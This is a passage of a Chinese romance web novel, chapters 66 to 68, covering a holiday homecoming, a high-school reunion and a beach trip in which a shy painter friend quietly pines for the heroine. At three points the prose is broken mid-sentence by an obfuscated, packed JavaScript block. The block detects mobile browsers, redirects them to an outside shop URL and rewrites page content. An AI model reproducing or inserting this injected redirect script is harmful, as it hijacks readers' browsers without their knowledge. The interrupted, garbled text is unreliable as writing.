第六十六次招惹 “组长,我先走了啊,”黄时雨上完今年的最后一天班,把自己的工位收拾得干干净净后,才跟组长打招呼离开。 “好,新年快乐!” 黄时雨作为入职新人,是这一年内休假时间最少的员工,经过组长的协调安排,最终获得了长达十四天的年假。 黄时雨走出公司,用皮筋把披在肩上的头发扎成丸子头,一想到可以连续半个月不上班,黄时雨走路的脚步都明显轻快了不少。 黄时雨归家的心就像离弦的箭一样,行李提前好几天就开始收拾了。 飞机是第二天上午八点半的,黄时雨躺在床上,取消掉工作日闹钟,换上了起床回家的提醒闹钟,就算是早起,对于此刻的黄时雨来说,也算是一桩美事。 黄时雨本想着约上吴笙笙或者祝则溪一起回去的,但两人都是越到年底越忙的类型,所以最终黄时雨还是不得不独自乘车。 回到家后的生活,无非就是和每一年的春节一样,吃年夜饭、看春晚、放鞭炮、拍全家福,唯一不一样的就是今年的黄时雨已经从领红包的小孩变成了发红包的大人了。 每一次往红包里塞百元大钞的时候,黄时雨都只敢半眯着眼睛,有一种想要趁自己不注意把钞票一下子塞进去的离谱感,只要自己看不清楚,就能自我欺骗没放几张,没给出去多少。 初五中午吃完午饭,大人们在餐桌前谈天说地,黄时雨被安排到客厅陪着几个小辈一起在家里看动画片。 黄时雨本来也是喜欢热闹的类型,一开始还坐在电视机前跟着一起看,结果才看一集就放弃了—— 现在的动画片都这么难看吗,还不如自己小时候看的一半好看呢。 她看了看手机时间,居然还有一个小时才能出门参加同学会,房间里大人小孩的说话声闹得快要掀翻屋顶,黄时雨只好强打精神,窝在沙发里百无聊赖地刷着短视频消磨时间。 直到手机里的闹钟一响,黄时雨立马火速翻身起床,穿好外套换好鞋,跟亲戚们打了声招呼,就直奔同学会现场。 毕竟这是黄时雨无聊假期里唯一一点期盼了。 巧合的是,这次同学会的餐厅就在满城一中后门不远处的广场,从黄时雨很小的时候一直经营到今天,也算是整个满城的地标性建筑之一了。 “苗苗,你到哪里了,我和祝则溪都已经到了,”黄时雨坐在公交车上,看到吴笙笙一分钟前发来的消息。 黄时雨有些震惊地又反复看了好几遍右上角的时间,没看错啊,明明还有半个小时的时间啊,“不是还有半个小时吗,你们怎么去那么早?” “可能我们不像某人非要卡点才到,跟高中相比一点进步都没有。” 黄时雨猝不及防被呛到,在表情库里选了半天,最终发过去一个眯眼威胁的表情包。 刚从广场口的公交车站下来,老远就看到了餐厅大门上的LED大屏正在滚动播放一句话—— “预祝满城一中高2015级毕业四周年同学聚会圆满成功!” 餐厅门口已经熙熙攘攘站了很多人,大家三五成群,换上了更成熟的装扮,言行举止也和高中有了很大差别,尤其是女生,有好几个跟自己打招呼的,黄时雨一时都没反应过来到底是谁。 “好久不见啊,美女!” “哇塞,罗亦芃,今天怎么这么帅啊,”黄时雨停下脚步看着突然出现在自己面前的罗亦芃,上下打量的过程中又震惊又意外。 白色面包服和灰色条纹围巾相得益彰,一点点带纹理感的发型跟今天的装扮也很适配。 罗亦芃说着往前靠了一点,围巾下摆扫过黄时雨的胸前,她立刻往后退开半步—— “你现在是留在津南工作了吗?” “对啊,我现在在做……” “黄时雨!” 原本正在跟别人说话的祝则溪看到黄时雨门正跟罗亦芃聊天,立马上前迎接。 他穿着一件黑色长款大衣,扣子敞开,里面叠穿的衬衫和马甲搭配上灰棕色的围巾,显得整个人很有质感。 黄时雨不禁感叹,这美术生的搭配功力就是不一样,每次见面都是一种全新的穿搭风格。 “行,那我们先走了,”黄时雨被祝则溪拉住手腕往里面走,一路上她都在和好久不见的各位同学热情地打招呼,祝则溪一般也会跟着停下来点头示意,以至于很短的一段路硬生生走了十几分钟。 “苗苗,坐这里,”吴笙笙起身把黄时雨拉到自己身边的位置上坐下,“我可是专门给你留了位置的。” 黄时雨坐下后,开始环顾四周,“笙笙,这次应该三个班的所有同学都来了吧,我感觉得有接近一百五十个人。” “对,我刚刚听罗亦芃说,好像只有几个人没来,其他的基本上都到齐了。” 祝则溪跟一班的几个同学简单交流了几句后,走过去坐到了黄时雨的另外一边。 大家都是随便坐的,没有安排固定的位置,所以黄时雨这一桌一、二、三班的同学都有,甚至还有一两个同学黄时雨几乎都没什么印象。 饭桌上,大家聊的几乎都是高中时代的事情,比如谁跟谁表过白,谁跟谁打过架,谁有什么糗事,有什么乐子都一股脑全部抖落出来,那些黄时雨曾经几乎不感兴趣的聊天话题,此刻再从大家嘴里听到,反而有一种独特的、带着回忆渲染的味道。 “祝则溪,你前几天巡展的那个美术展我看了,虽然只有四幅画,但是画得特别好,”说话的是一个一班的男生,黄时雨几乎没怎么接触过,所以完全没有印象。 祝则溪轻轻放下筷子,表情平淡地礼貌点头,“谢谢。” 但当祝则溪低下头重新开始夹菜时,眼神里又分明流淌出几分掩饰不住的失落。 黄时雨也垂下眼半晌没有说话,她因为工作原因没有去看,但拜托了去看展的许灵均把祝则溪的四幅画都拍了下来,一幅是雪天里的梅花,一幅是波光粼粼的江面,还有两幅是偏未来科技感的抽象画。 虽然黄时雨不太懂艺术,但她总感觉那几幅画不太像祝则溪认真打磨之后的艺术作品,倒有些像是为了流通而创作的,特别是当亲耳听到祝则溪那句“谢谢”里包含的难以言说的痛苦与无奈,她的心也仿佛跟他一样受到了折磨。 “祝则溪,”黄时雨侧头轻轻叫了一声他的名字,像是在努力把他从伤感的氛围中拉出来。 “嗯,怎么了?” 祝则溪立刻转移目光,温柔地注视着黄时雨。 看到祝则溪的表情又变成平时的平静温和,黄时雨笑着摇摇头,“没什么,就是想……看看你。” 祝则溪被黄时雨这突如其来的直球打了个措手不及,他的耳朵迅速变红,目光不自然地转向别处,用几乎只有自己才能听到的声音小声回应,“知道了。” “苗苗,你今年有多长时间年假啊,一周?” 黄时雨一边吃一边抽空跟吴笙笙聊天,“不不不,我今年有14天年假,因为我之前连续加班来着,所以过年可以多休息一段时间。” “这么久?!” 吴笙笙忍不住瞪大了双眼,“那你有什么打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999926|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算吗,比如出去玩什么的?” 黄时雨还没来得及回答这个问题,就听见齐章年的大嗓门从大门口穿透整个大厅传过来,所有人的目光都被吸引了过去。 齐章年火急火燎地跑过来,让服务员加了一把椅子后坐在了祝则溪的右边。一中小分队已经很久没有这么整整齐齐地聚在一起了,一直都是要么就是你缺席要么就是我缺席。 “齐章年,你怎么这么晚才到啊?” “别说了,”齐章年把外套脱下来搭在椅背上,坐下来猛喝了一口茶,“我们家今天中午在外面吃饭,下午我陪几个叔叔阿姨打麻将,我手机又调了个震动,祝则溪刚给我打电话我也没听到,等我看到时间马上打车过来,结果还是迟到了。” “噗,”吴笙笙忍不住笑出来,“你这也太好笑了吧,打麻将这么投入?” “当然了,我打麻将很专注的好不好?” 祝则溪重复了一边齐章年的话,“很、专、注,那肯定是赢了吧?” 齐章年瘪瘪嘴,漫不经心地说出那个残酷的真相——“输了。” 快结束时,作为本次同学会主要发起人的罗亦芃在大群里发了一个表格,让想去KTV的同学在上面填上自己的名字。 “你们去吗?” 齐章年点开表格,看到里面不断增加的名字,好奇地凑过去问另外三位的意见。 “我应该不去吧,不怎么喜欢唱歌。” 黄时雨第一个表示拒绝。 “我也不去,”祝则溪紧随其后。 “我也是,”吴笙笙同样表示拒绝。 “好吧,”齐章年只好无奈地退出表格,“那你们一会儿吃完饭就直接回家了?” “我还有点事。” 祝则溪看上去心事重重,紧锁的眉头此刻看起来更加明显。 黄时雨、吴笙笙和齐章年对视一眼,离祝则溪坐得更近了一些,三个人一起把祝则溪团团围住,像三堵密不透风的墙。 “你有什么事,说出来呗,万一我们能帮你解决呢,对吧,”齐章年把胳膊搭在他的肩上,想努力让他心情好些。 祝则溪抬头看了看围在身边的大家,犹豫了几秒钟后还是坦白了,“我想成立一个个人工作室。” 黄时雨、吴笙笙和齐章年一瞬间都有些惊讶。 黄时雨虽然能理解祝则溪不能接受自己的艺术追求被摧毁,但确实也没想到他会这么笃定地选择自立门户。 毕竟,要成立个人工作室,以祝则溪当前的个人能力和经验来说,难度确实不小。 “你……想好了吗?” 黄时雨试探着问。 祝则溪的眼神里散发出前所未有的坚定,她看着黄时雨认真点头,“对,我觉得就算这个选择可能会让这条路走得很艰难,但我还是愿意试一试,毕竟,对我来说,艺术追求是神圣不可亵渎的,我不愿意也无法接受工作室对我的这种安排。” 祝则溪说这几句话时意气风发,充满斗志。尽管出来单干并不是当下的最优解,但也许在未来,这个决策会带给祝则溪除了艺术追求之外更多的自由度,对于画家来说未尝不是一件好事。 “好,我齐章年永远无条件支持你。” 齐章年挑了挑眉。 “嗯,我也支持你!” “我也是。” 听到另外三人毫不犹豫地说出这几句话,祝则溪心里那块大石头也终于落下去了一点点,他的眼神在三人之间来回飘过,眼底是说不尽的惊喜与感动。 ——“谢谢你们!” 67. 第六十七次招惹 距离回到津南还有最后两天,黄时雨在家收拾行李的时候,毫无征兆地接到了楠楠打来的电话—— “姐姐,我从乡下回来啦,下午能不能来找你玩呀?” 黄时雨打开手机扬声器放到床上,一边继续收拾东西一边热情回应,“当然啦,姐姐早就把红包给你准备好了。” “耶!” 黄时雨听到电话那头传来一阵哒哒哒的脚步声,在挂断之前,楠楠最后留下一句兴奋的“下午见”。 好朋友们都陆续回学校或者回公司了,爸爸妈妈也都在上班,黄时雨这几天在家闷得无聊,能找个伴也是极好的事情。 黄时雨简单吃了个午饭,把提前给楠楠准备好的红包拿出来,在背面用马克笔写下“天天开心”四个大字。 “叮咚——” “来啦!” 黄时雨立刻放下笔,从卧室跑出来给楠楠开门。 小孩长身高就是快,这才一年不见,楠楠又长高了不少,身材也越发高挑,眼看着已经出落成一个亭亭玉立的美少女了。 “姐姐,我好想你啊!” 在开门的一瞬间,楠楠立马跳起来扑到黄时雨怀里,黄时雨赶紧张开双臂接住她,并轻轻拍了拍她的背,“好啦我也想你,咱们去沙发上坐着好不好?” 感受到怀里的人兴奋地点点头,黄时雨拉着她的手一起坐到沙发上,并把准备好的红包塞到楠楠的羽绒服外套里。 由于家里没有其他大人,这一送红包的过程自然是畅通无阻。 楠楠摸了摸瞬间鼓起来的口袋,又轻轻拍了拍,“谢谢姐姐。” 黄时雨模仿小时候大人给自己送红包的口吻小声说,“别告诉你爸妈啊,这可是姐姐专门给你的。” 楠楠得意地挑了挑眉,比出一个OK的手势,“明白。” 黄时雨站起来,把中午削好的水果从餐桌上端到茶几上,插好牙签递到楠楠嘴边。 楠楠一口吃下去,突然像想起了什么一样着急忙慌地拉开书包拉链,从夹层里取出一个素描本。 “姐姐你看,这是我从上初一开始画的画,是不是很好看?” 黄时雨随着素描本的翻动慢慢往后看,虽然自己对美术了解甚少,但黄时雨还是能隐隐感觉到,楠楠的美术天赋,似乎还挺不错的。 “怎么样,姐姐?” 看到黄时雨从前往后完整看了一遍,楠楠一脸兴奋地盯着黄时雨,企图得到来自姐姐的大夸特夸。 “嗯……”黄时雨的词汇在这里显然有些不够用了,“画得很好,形象很生动,想象力很丰富……” 黄时雨说完后偷瞄了一眼楠楠的表情。 “哎,太敷衍了吧,都不说点具体的,”楠楠瘪瘪嘴,不满足地小声抱怨。 黄时雨无奈地摇摇头,“你姐姐我又不是专业的,能说出这些已经很不容易了好嘛!” 楠楠若有所思地点点头,随即又蹦出下一个问题,“姐姐,我以后想当画家,这是我的梦想,你觉得好不好?” 黄时雨的心突然被狠狠揪了一下,她偏头看着楠楠那双闪烁着梦想光芒的眼睛,那些已经到嘴边的现实的话又全都被黄时雨硬生生咽了下去。 尽管看到祝则溪的经历,黄时雨已经知道这条路走起来有多么艰难,但她依然不愿意做那个泼冷水的人。毕竟,在没有亲身经历之前,所有小朋友的梦想都值得守护。 “姐姐觉得,这个梦想很棒,”黄时雨打开手机,确认这个时间点祝则溪应该有空,“之前一起逛庙会那个哥哥还记得吗,他现在就是画家。” “真的吗?” 楠楠一句兴奋的尖叫把黄时雨吓了一跳。 手机突然响起,黄时雨定睛一看,就是这么凑巧,这通电话恰好就是祝则溪打来的—— “喂,祝则溪?” 一听到是那个画家哥哥打来的电话,楠楠一瞬间身子都坐直了,在旁边小声求着黄时雨把扬声器打开。 黄时雨无奈点头,只好打开免提把手机放在两个人的中间,听到祝则溪说出那句让人有些惊讶又非常合情合理的四个字——“我辞职了。” 对面半天没有回答,祝则溪忍不住发出轻笑,“怎么不说话,有点惊讶吗?” 黄时雨还没来得及张嘴,就被楠楠抢先一步,“哥哥,你为什么辞职呀,我以后也想当画家,当画家不好吗?” “是楠楠,你们之前见过,”害怕祝则溪一时想不起来,黄时雨在旁边小声提醒。 “我记得。” 此后,电话两端陷入了好几秒的沉默,黄时雨大概也能猜到,祝则溪应该正在那边努力思索该怎么回答这个问题。 “楠楠,我也是像你这么大的时候,坚定了自己的美术梦想,直到今天,虽然这一路上的许多经历都跟我想象中的有些不同,但我却从未后悔过这个选择,我甚至可以明确地回答你,当画家很好,很幸福,但不同的画家也会有不同的追求,能始终坚持自己艺术追求的画家,远比你想象中的少。” 楠楠看起来有点懵懵的,但还是努力回应祝则溪的这一大段侃侃而谈,“谢谢哥哥,我一定会努力的!” 挂掉电话,四人小群里很快热闹起来。 在祝则溪那条“我辞职了”的消息下,齐章年已经构思了好几个旅行方案。 “你们觉得去海边怎么样?” “去露营也行,我知道津南附近有特别舒服的露营基地!” “或者去爬山?” …… 除了祝则溪之外的另外三个人,早在同学会时,就趁着祝则溪不在的间隙,悄悄制定了带祝则溪出门放松的计划,正好今天辞职,下周就可以出发,天时地利人和都占了。 最终,经过小祝同学的筛选,决定此次四人旅行的目的地就是海边小镇——洛今。 黄时雨在周四提前完成了本周的全部例行工作,向组长申请到了周五的额外假期。 黄时雨拿着签好字的假条准备从组长办公室离开时,组长颇有深意地留下一句话,“黄时雨,这周末好好玩,下周回来……就要准备竞选组长了哦,你知道你的竞争对手是谁。” 黄时雨关门的手一顿,朝组长做了一个wink,“当然,我一定会尽全力的!” 组长紧绷的表情也瞬间松弛下来,她无可奈何地笑着挥手,“去吧去吧。” 洛今离津南不算远,坐高铁不到四十分钟就可以到达,黄时雨回到家拿出一个小行李箱,把早就从衣柜里精挑细选的几套衣服整整齐齐地塞到箱子里,来不及休息,就直接出发去高铁站跟朋友们会合。 周四下班的路像是加了甜味剂,拖着小行李箱的黄时雨哼着小曲,丝毫没有上了一天班的疲惫感,所有痛苦都被兴奋和快乐淹没,想要早点见到好久不见的好朋友们的心随着距离的逼近变得越来越急迫。 晚上七点半,四个人终于坐上了前往洛今的高铁,黄时雨和吴笙笙坐一边,祝则溪和齐章年坐另一边。 由于所有人里有且仅有祝则溪一人处于无工作状态,所以本次旅行的攻略,由祝则溪全权负责。 “这趟车上居然没多少人啊,我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002002|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为会有不少人呢。” 齐章年放下手机,环视了一圈,“你忘了今天是周四吗,大家都在上班,估计等明天人就多了。” 黄时雨立刻点头表示赞同,目光转向祝则溪,“诶对了,你的工作室选址有眉目了吗?” 祝则溪稍微愣了一下,随即打开手机地图,另外三个小脑袋一哄而上—— “目前感觉就这三个位置还不错,不管是人流量,交通,还是租金都比较合适,”祝则溪的手指轻轻滑动界面,跳转到备忘录,“这是我这些天制定出来的工作室的发展规划。” 吴笙笙指着备忘录上的合伙人名字,“这个李岱是你的朋友吗,还是同事?” “应该算我前同事吧,”祝则溪关上手机,云淡风轻地说出了自己未来的计划和打算,“我们俩准备合作。” …… 没聊几句,除祝则溪之外的另外几个人都困得睡着了,黄时雨和吴笙笙相互靠在对方身上,都因为车厢里强烈的光线而微微皱眉。 车厢里始终有人不时就发出一些奇怪的声音,祝则溪靠在椅背上,目光平静而柔和地看着已经进入熟睡状态的黄时雨。 她的睫毛垂翘,刘海因空调吹拂在额前轻轻晃动,隧道内的光线在刘海的间隙里露出丝丝光斑,光斑从左眼移到右眼又移回左眼,反反复复地,直到离开这条长隧道。 祝则溪拿起手机,用手指不断放大,反复检查确认闪光灯和声音全部关闭后,悄悄按下拍摄键,记录下黄时雨的睡颜。 他看着镜头里黄时雨的样子,又抬头看了看眼前人,这是祝则溪长这么大最大胆的一次注视,长久的、不受打扰的、不被发现的。 忽然,黄时雨的身子动了一下,祝则溪立马紧张地挪开视线,他不自然地咽了咽口水,回过神时才发现黄时雨只是调整了一下姿势,依然双眼紧闭,睡眠状态没有任何改变。 祝则溪垂眸,自嘲地扯了扯嘴角—— 这么多年过去了,自己依然还是那个只敢偷看的胆小鬼,和过往暗恋的许多年岁一样。 但就算只到这一步,也已经很满足了。 你知道吗,在张嘴诉说我爱你之前,我的眼神早已表白过千万遍。 很快,洛今站到达。 祝则溪依次把三人叫醒,提醒他们该下车了。 酒店离高铁站还有一段距离,三人坐在出租车上继续闭目养神,又只剩下祝则溪一人坐在副驾驶看导航。 对于祝则溪来说,这到底是度假还是加班,只有他自己知道。 “师傅,现在过去那边不堵车吧,二十分钟能到吗?” 祝则溪把地图上的酒店位置指给司机,司机只是简单看了一眼就摇头,“不需要二十分钟,十多分钟就到了。” 祝则溪这才放心地在副驾驶位置上坐好,他抬手轻轻揉了揉眼睛,努力撑住眼皮,继续为这趟旅行保驾护航。 但祝则溪不知道的是,司机师傅已经一而再再而三地发现他总是时不时就从后视镜往后看,心里大概已经猜到了原因,却还是忍不住询问,“小伙子,看什么呢?” 祝则溪的耳根立刻红了,眼神也从黄时雨身上快速移开,正襟危坐地看着前方,“咳,没什么。” 司机却不依不饶,直接点破祝则溪的小心思,“你是在看中间那个穿粉色外套的小姑娘对吧?” 祝则溪沉默了一会儿,像是下定了决心,“嗯,很明显吗师傅?” 师傅发出一阵爽朗的笑声,一边转动方向盘,一边无奈地摇头,“很明显,就差写在脑门上啦!” 68. 第六十八次招惹 第二天早上,八点半的闹钟把黄时雨和吴笙笙两人从睡梦中惊醒。 今天天气很好,是最适合去海边的日子,黄时雨从行李箱中翻出早就准备好的新衣服,换好后在镜子前陶醉地自我欣赏。 “哎哟,你这都看多久了?” 吴笙笙洗漱完从卫生间出来,发现黄时雨竟然还在照镜子。 “好好好,我去洗漱了,”黄时雨恋恋不舍地走进卫生间,开始为今日份的出行梳洗打扮。 快十点了,四人终于在酒店门口集结完毕。 今天天高云淡,有一点点微微的阳光但不刺眼,云朵们像在抱团取暖一样一层叠着一层,还不时有海风从脸颊轻轻拂过,黄时雨舒服地忍不住轻轻闭上眼睛。 “我们打车过去,大概二十分钟就能到,”祝则溪一边说一边拿出手机开始打车,另外三个人则挤在一起查看祝则溪刚刚发到群里的游览攻略。 “从海滩到餐厅步行大约需要十五分钟,预计十二点半到达,排队时间大概在二十分钟左右……” 三人看着密密麻麻的攻略,小到连排队时间,堵车时间都算到里面了,不由得对祝则溪做攻略的能力肃然起敬。 “来来来,趁车还没到,我们拍个出发照!” 齐章年作为“一中小分队”的御用摄影师,去哪都会带着他的相机和拍立得,所以这趟旅游,又将由齐章年为另外几人的朋友圈贡献素材了。 哦不对,主要是为黄时雨的朋友圈贡献素材。 依然是齐章年站在前面,祝则溪和吴笙笙一左一右站在黄时雨身边。 “好了,上车!” 时间卡得刚刚好。 刚转过弯进入景区,就已经能预见今天沙滩边一定是人满为患了。一群一群的人们戴着遮阳帽,提着口袋,叽叽喳喳地往海滩上走,黄时雨激动的心情也早已按捺不住了,摇下车窗恨不得把所有美景都一点不落地全部记住,毕竟,对于一个常年生活在内陆的小孩来说,看到海的兴奋程度简直不言而喻。 “哇塞,我第一次来海边,太美了吧!” 齐章年刚关上车门就吼了一嗓子,拿起相机就是一顿狂拍。 “我们等下也要去海里玩吗,好多人啊,”黄时雨看着已经被各种花花绿绿的衣服染成五颜六色的海面,转头看向祝则溪。 “你想去吗?” 黄时雨心里对大海的冲动还是远远大于对人群拥挤的担忧,短暂的思考过后,还是忍不住说了实话,“想去!” 吴笙笙指着旁边的更衣室,“那咱们就赶紧去换衣服吧,不然一会儿人肯定越来越多,走!” 吴笙笙把齐章年也招呼上,四人一起走进更衣室开始换衣服。 黄时雨这套泳衣还是为了这次旅行新买的,嫩黄色的,是专门在上班间隙让许灵均陪着自己在网上挑了好久才选到的最合适的款式。 “笙笙,你帮我系一下带子呗,我手够不到,”黄时雨转过身去,请求吴笙笙的帮助。 “好,”吴笙笙把左右两条带子系了两圈,又轻轻扯了一下,确认不会有滑落的风险,“可以啦,我们出去吧。” 黄时雨把衣服装进包里,然后两人把背包一起寄存在了同一个寄存柜里。 祝则溪和齐章年速度很快,早就换好了,正站在离女更衣室不远处等待着,看到黄时雨和吴笙笙出来,齐章年立马招手,“这边!” 祝则溪立刻收起正打算拍照的手机,视线在看向黄时雨的一瞬间像触电一样弹开,神情也出现了一丝错愕,他的眼神在黄时雨身上不停跳跃又忍不住想要停留,像是误入油锅的水滴,不管怎么跳都逃不开热油的束缚。 黄时雨快步跑过来,在看到祝则溪瞬间红到耳根的样子时,不由得产生一种想逗逗他的“邪恶”念头—— “哎呀,你耳朵怎么红了,我看看。” 说着就要伸手触碰祝则溪的耳朵,祝则溪也不躲开,整个人就端端正正地站在原地,任由黄时雨的手指轻轻揉捏自己的耳朵,弄得耳朵上的红晕只增不减。 祝则溪的视线完全僵住,眼前这个离自己的距离还不到5厘米的人的灼热的呼吸正喷洒在自己的脖子上,弄得他的声音有些发紧,他只好转头清了清嗓子,努力使自己的声音保持正常,“咳,我们快去吧,快走!” 祝则溪匆忙逃出了那个“是非之地”。 一行人在沙滩上快步跑起来,直到找到了一个人流量相对较少的安全区域。 黄时雨和吴笙笙都是旱鸭子,在下海游泳这件事上算是纯新手小白,两人在岸上做了很久的心里建设,才决定缓慢挪动步子,一点一点地往海水中试探,让海水逐渐淹过脚踝、小腿和膝盖,冰冰凉凉的触感缓缓漫过下半身,黄时雨和吴笙笙才终于体会到玩水的乐趣。 祝则溪和齐章年两人则围在两个女生旁边,勉为其难地也成为了浅水区的一员。 “你们……都学过游泳吗?” 黄时雨看着旁边两位在水中如履平地的人,震惊询问。 齐章年耸耸肩,被阳光晒得眯起眼睛,“我们大学有游泳课的,就是那个时候学的,祝则溪应该也是吧?” “对。” 黄时雨若有所思地点点头,单手扶着旁边的安全绳,尝试着把脖子以下的区域全部埋进海里。流动的海水好像在轻轻地挠着黄时雨的脖子,温和又亲热,让人有点想发笑,但又控制不住地乐在其中。 忽然听到稍远的地方有游客的尖叫声,黄时雨立马起身转头一看,一层大浪潮正朝岸边涌来。 越来越高,越来越声势浩大。 浪潮把花花绿绿的人群完全托起又快速放下,从远方以极快的速度朝岸边涌来,所到之处都是人群的惊呼。 黄时雨回头看了一眼已经离自己有一段距离的陆地,只好绝望地闭上眼。现在上岸肯定是来不及了,她只能立刻把脸埋到胳膊里,用两只胳膊围成风雨禁地,心跳声大到仿佛自己都能听得见,站在原地静静地等待着浪潮的到来。 听到浪潮的声音越来越近,黄时雨感觉全身的感官感受都被无限放大,每一个不同往日的反应,都预示着一场全新的人生体验。 “5、4、3……” 黄时雨在心里默默倒计时。 突然,她感觉自己被拽入了一个温暖的怀抱,那个人紧紧收拢手臂,将自己完全圈在怀里,自己的背几乎完全贴上了他的胸膛,密不透风。 不到两秒钟,浪潮就从黄时雨身边呼啸而过,什么也没有留下。 所有的视觉、听觉、触觉和嗅觉都被眼前这位“见义勇为”人士完全霸占了。 正当黄时雨准备转过身去跟这位温暖怀抱拥有者表示感谢时,祝则溪已经悄然松开了手臂,拉开了一点两人之间的距离。他认真低头询问黄时雨的感受,“吓到你了吗?” “没有啊,”黄时雨伸手揉了揉眼睛,半开玩笑地说,“难道你害怕了?” “嗯,怕你害怕。” “说谎可不好,不过还是谢谢你了,”黄时雨轻轻摇头,顺手抹了一把脸上的水珠,朝祝则溪露出一个灿然的笑容。 “既然你们俩不习惯在海里玩,不如我们去玩沙滩排球吧,就在那边,走不走?” 齐章年从水里站起来,看到另外三人有些发懵的表情,直接朝众人一挥手,并下达指令,“跟我走吧,带你们去玩好玩的!” 运气真好,刚走到球场就有一组人准备离场,黄时雨他们便立刻将这个球场给占领下来,简单活动了一下身体就开始分配站位。 “要不我们一男一女搭配怎么样,”齐章年一边提出建议,一边朝祝则溪挤眉弄眼。 祝则溪瞬间收到信号并转头朝黄时雨发出邀请,“可以,我们俩一组吧?” 黄时雨抬头正对上祝则溪请求的目光,她毫不犹豫地点头,“来吧,比比看!” 两队各自站到自己的位置上,黄时雨站在沙地里偏头小声询问,生怕被对手知道了自己的底细,“祝则溪,我都不知道规则是什么,你会玩吗?” 没想到祝则溪笑着摇头,把手里的球轻轻抛给黄时雨,“我也不会,就随便玩吧,没关系。” 很快,几个回合下来,黄时雨就发现,原来这真的就是一场菜鸡互啄。 当排球最后落到黄时雨眼前时,她眼疾手快地把球抓住,然后朝对面做了一个“停战”手势,希望双方能达成休战协议,“要不咱们休息会儿,好累啊。” 祝则溪立马响应,“好,那歇一会儿。” 黄时雨跟祝则溪一起走到沙滩垫子上坐下,海风徐徐吹过,把黄时雨稍显凌乱的刘海吹得更加蓬松。 她伸出手指,把刘海勾到耳后,转头时正好跟祝则溪的目光毫无预兆地撞到一起。 一个想逗祝则溪的坏点子再次在黄时雨的心里生根发芽。 黄时雨挪了下位置,靠着祝则溪坐得更近了一点,故意眨巴眼问祝则溪,“你是不是觉得我今天很漂亮?” 对于黄时雨来说,收到他人的夸赞,就算是自己主动求来的,也是一件极其令人喜悦的事情,更何况,这句话是从祝则溪的嘴里说出来。 祝则溪的表情有一瞬间的僵住,他不自然地挪开视线,但嘴上却很诚实,“是的,很漂亮。” 黄时雨满意地点头,目光继续下移,转而又慢慢看向祝则溪的眼睛,不紧不慢地说出一句夸赞,但在祝则溪听来却是惊天动地,“其实,我觉得你的身材很好。” 她故意把“身材很好”几个字拖得很长,一边说还一边悄悄观察祝则溪的反应。 祝则溪偏过头轻咳一声,也顺着黄时雨的目光低头看了一眼,最后说出一句有点谦虚但好像又不那么谦虚的话—— “还可以吧。” 远处,海浪轻轻拍打着礁石,黄时雨终于能有机会拿出手机,把眼前的美景全部拍照保存下来。 但是不管怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008799|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么拍,都感觉角度不太好。 黄时雨从垫子上站起来,避开人群往后退了几步,然后开始蹲下找新的拍摄角度。 她悄悄走到祝则溪的正后方,打开手机摄像头,把祝则溪放在取景框的右下角。 果然,这个画面一下子就对味了。 天空、大海、男孩和颜色丰富的背景构成了这张照片的全部元素。 只不过,画中的那个男孩在此刻并不知情。 拍完照,黄时雨又重新坐回垫子上。刚坐下不到两分钟,妈妈就打电话过来了—— “苗苗,现在还在海边玩吗,第一次去海边,人多吗,好玩吗?” 黄时雨一听到妈妈的声音,忍不住激动地把今天的所见所闻全部都一股脑地讲了出来,“超好玩的,妈妈,我跟你说,今天早上出门的时候……” 祝则溪在旁边默默地听着,看到黄时雨脸上写满了兴奋和激动,手上还时不时兴奋地比划着什么,他自己也忍不住从苦涩的心底绽放出一个会心的微笑。 如果,妈妈还在的话,我也会这样幸福吗? 祝则溪想不出来,只是无端地认为,这个问题的答案应该是肯定的。 祝则溪原本以为自己从来没有拥有过母爱,自然也谈不上对亲情有多少羡慕,但在某些无意识的瞬间,总还是会下意识地羡慕别人,羡慕别人能拥有正常的原生家庭,和谐的亲情关系。 忽然,祝则溪瞥见黄时雨的头发散开了,一片一片地搭在她的肩上和背上,在汗水的作用下,一整个黏住皮肤,变成一缕一缕的。 黄时雨似乎也感觉到了,她边打电话边单手将头发拢到一起,想要努力用手腕上的发圈把头发扎起来,却显得有些难以完成。 甚至反复尝试了好几次都没有成功。 “我来吧,”祝则溪压低声音坐到黄时雨身边,从她手腕上轻轻取下发圈。 虽然自己也没有绝对的信心,但是毕竟也有中学时因为头发太长扎小揪揪的经验,所以应该不至于太难看。 祝则溪扶着黄时雨的肩膀稍微往外转了一点,用手将黄时雨的头发一点一点拢到一起。他的手指从黄时雨的发丝间穿过,小心翼翼的,生怕弄疼了她。 祝则溪扎头发的手法好像很熟练,三下五除二的功夫一个漂亮的低丸子头就诞生了。 